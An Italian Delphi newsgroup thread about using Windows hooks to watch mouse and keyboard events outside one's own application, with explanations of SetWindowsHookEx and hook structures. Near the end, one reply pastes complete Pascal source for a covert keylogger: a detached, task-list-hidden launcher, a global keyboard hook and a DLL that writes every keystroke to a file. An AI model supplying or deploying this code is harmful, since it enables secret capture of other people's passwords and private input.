Newsgroup: it.comp.lang.delphi
Titolo: Hook, come si usano????

Vorrei monitorare tutti gli eventi del mouse dalla mia applicazione; a
quanto ho capito bisogna usare gli "hook" : qualcuno sa spiegarmi COME??
Grazie, Francesco
--
Posted from 
mta22-acc.tin.it
 [212.216.176.75] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

Grazie, Francesco
in questo caso ( eventi del mouse PER LA TUA SOLA APPLICAZIONE ) nemmeno
userei un hook ma farei riferimento all' evento OnMessage dell' oggetto
Application intercettando i messaggi tipo WM_LBUTTONUP ecc..
Che ne pensi ?
Potresti usare pure un hook ( non globale ).....vedi tu.
Il primo sistema è rapidissimo !!
Ciaooo !!!
Antonio Tarolla

...

Condivido pienamente con quanto ha detto Antonio! Combinando quelle funzioni
con gli eventi di cui dispone Delphi (o se preferisci cone le varie API
GetCursorPos) riesci ad ottenere tutte le informazioni sul mouse!
Bye
--
- Carlo -
BSSoftware Tips Mailing-List Support

Grazie per il suggerimento, ma forse non mi sono spiegato bene : in effetti
voglio controllare gli eventi del mouse e/o tastiera esterni alla mia
applicazione, e quindi penso che l'unico metodo sia quello degli hook, che
purtroppo non so neanche da che parte girarli!!!


purtroppo non so neanche da che parte girarli!!!
A maggior ragione non utilizzare un Hook, anche perchè in questo caso ne
dovresti utilizzare ben 2! Puoi costruirti un metodo da applicare all'evento
OnMessage e controllare il tipo di messaggio, se il messaggio interessa
Mouse o Tastiera arriva comunque al tuo metodo, che potrà decidere se farlo
processare alla tua applicazione o meno.
Se non hai le idee ben chiare chiedi pure, che ti farò un esempio!
Ciao


 A maggior ragione non utilizzare un Hook
? letto male ?
Ciao :-)
--
(¯`·.¸¸.·´¯`·.¸¸.-> Andrea <-.¸¸.·´¯`·.¸¸.·´¯)
AntiSpam: rimuovere il trattino basso dall'indirizzo per rispondere
AntiSpam: remove the underscore from the e-mail address to reply





Cioé ?? Scusatemi ma mi sto perdendo : chi di voi ha 
ragione?


Secondo me gli eventi che non riguardano la mia applicazione 
non li vedo nell' OnMessage (l 'ho verificato banalmente).


Ora ho imparato a installare l'hook appropriato in una DLL, e 
a gestirlo dalla mia applicazione; a quanto ho capito questo é l'unico modo per 
"vedere"i messaggi esterni. Purtroppo non riesco a recuperare  i parametri 
originali del messaggio (wparam e lparam) e quindi devo usare altre funzioni per 
verificare le condizioni che mi servono. Mi sapreste dire come ricavare questi 
parametri originali, visto che nella MouseProc (o KeyboardProc) WParam e LParam 
hanno un significato (apparentemente) diverso da quelli del 
messaggio?


Grazie 


Francesco



via Mailgate.ORG Server - 
http://www.Mailgate.ORG
 
 ---==[ BlacK Bird ]==---
     ICQ#: 14491159
 
 
b...@blackbird.cjb.net
 
 
     Web Site
 
http://www.blackbird.cjb.net

? letto male ?
Si!
Effettivamente il contenuto è cambiato radicalmente....è passato Locale di
tastiera a globale di mouse e tastiera (bel salto eh..), io non mi ero
accorto di "esterne".
Il discorso cambia del tutto a questo punto....dai un occhiata alle funzioni
SetWindowsHookEx,CallNextHookEx e UnHookWindowsHookEx, queste sono le
funzioni attorno alle quali gli hook ruotano. Se hai dubbi chiedi pure.


 (apparentemente) diverso da quelli del messaggio?
Dunque, dipende molto dal tipo di hook che hai installato...
Per esempio per il WH_MOUSE l' lParam è un puntatore ad una struttura che
contiene informazioni sull'evento-mouse che è stato scatenato...
Potresti fare un cast così:
with PMouseHookStruct(lParam)^ do
  begin
  // qui puoi accedere ai vari campi (Pt, Hwnd ecc ecc)
  end;
Io ti consiglio di sostituire (nella dichiarazione della MouseHookProc la
definizione di LParam con questa : MStruct :TMouseHookStruct così potrai
accedere direttamente sfruttando MStruct)
Ps: ricorda che la DLL in cui scrivi l'hook (per forza di cose la hookProc
dovrà risiedere in una DLL) è da considerarsi a tutti gli effetti "un pezzo"
del programma hookato quindi i riferimenti ai puntatori non sono validi fra
il tuo processo e la DLL...
Se devi implementare un sistema di comunicazione ti consiglio due strade:
1) implementi un loop di messaggi nella DLL e ti arrangi con quelli
2) usi un memory-mapped file con le dovute precauzioni e sincronizzazioni
[propenderei per la MsgWaitForMultipleObject all'interno della tua
applicazione su un evento che resetti nella DLL ma ci sono anche altre
alternative]...
Per quel che riguarda il fatto che gli hooks sono 2 non ti preoccupare, puoi
benissimo lasciare nella stessa DLL [così risparmi memoria] le due
HookProc...


Se puo servire, l'ho trovato da qualche parte... ciao ciao
Articles::Intercepting keystrokes
The following three programs show how to setup a Windows hook to intercept
system keystrokes and save them to a file. While this example uses the
WH_KEYBOARD hook it could be applied to any of the available hook classes.
As these modules don't require any of Delphi's standard application
framework they should all be saved as a .DPR file. I assume these examples
would work with any of the Windows versions of Turbo Pascal. Perhaps someone
could let me know?
Startup
Starts the main program as a detached process to stop it appearing in the
windows task list. You will have to change the 'ProgramName' constant to
point to the SNOOP executable. This step can be omitted if you don't mind an
entry on the task bar.
Snoop
This module simply loads the SNOOPDLL module and installs it as a keyboard
hook. The program performs an infinite sleep so the DLL handle remains
valid. I have included the necessary cleanup code even though it never gets
called in this particular example.
SnoopDll
This is the DLL that performs the actual work. The file is opened and closed
on each call so the file can be accessed at any time. This obviously causes
quite a bit of disk activity that could be avoided by adding some buffering
code.
program startup;
uses Windows;
{$R *.RES}
const ProgramName = 'C:\SNOOP.EXE';
var
   StartupInfo : TStartupInfo;
   ProcessInformation : TProcessInformation;
Begin
   GetStartupInfo(StartupInfo);
CreateProcess(ProgramName,Nil,Nil,Nil,False,DETACHED_PROCESS,Nil,Nil,Startup
Info,
   ProcessInformation);
end.
program Snoop;
uses Windows;
{$R *.RES}
var
   Hook : HHOOK;
   DllInstance : DWORD;
   HookProc : FARPROC;
Begin
   DllInstance := LoadLibrary('SNOOPDLL');
   HookProc := GetProcAddress(DllInstance, 'HookProcedure');
   Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
   Sleep(INFINITE);
   UnhookWindowsHookEx(Hook);
   FreeLibrary(DllInstance);
end.
library snoopdll;
uses Windows;
Procedure HookProcedure(nCode: Integer; wParam: WPARAM; lParam: LPARAM);
stdcall;
var
   LogFile : THandle;
   BytesWritten : DWORD;
   Ch : Byte;
begin
   if ((HiWord(lParam) and KF_UP) <> 0) and (nCode = HC_ACTION) then
   begin
      LogFile := CreateFile('c:\x.x', GENERIC_WRITE, FILE_SHARE_READ, Nil,
                                         OPEN_ALWAYS, 0, 0);
      SetFilePointer(LogFile, 0, Nil, FILE_END);
      WriteFile (LogFile, wParam, 1, BytesWritten, Nil);
      if Lo(wParam) = 13 then
      begin
         Ch := 10;
         WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
      end;
      CloseHandle(LogFile);
   end;
   CallNextHookEx(0, nCode, wParam, lParam);
end;
exports HookProcedure;
begin
end.
--
Davide - 
Gna...@wappi.com

> Cioé ?? Scusatemi ma mi sto perdendo : chi di voi ha ragione?
Scusami Francesco, non volevo farti far confusione, solamente ho letto male
il tuo msg!


Grazie a tutti per i consigli. Non mi faró  sentire per un po' perche'
vorrei metterli in pratica.
Ciao, Francesco
--
Posted from 
mta01-acc.tin.it
 [212.216.176.32] 
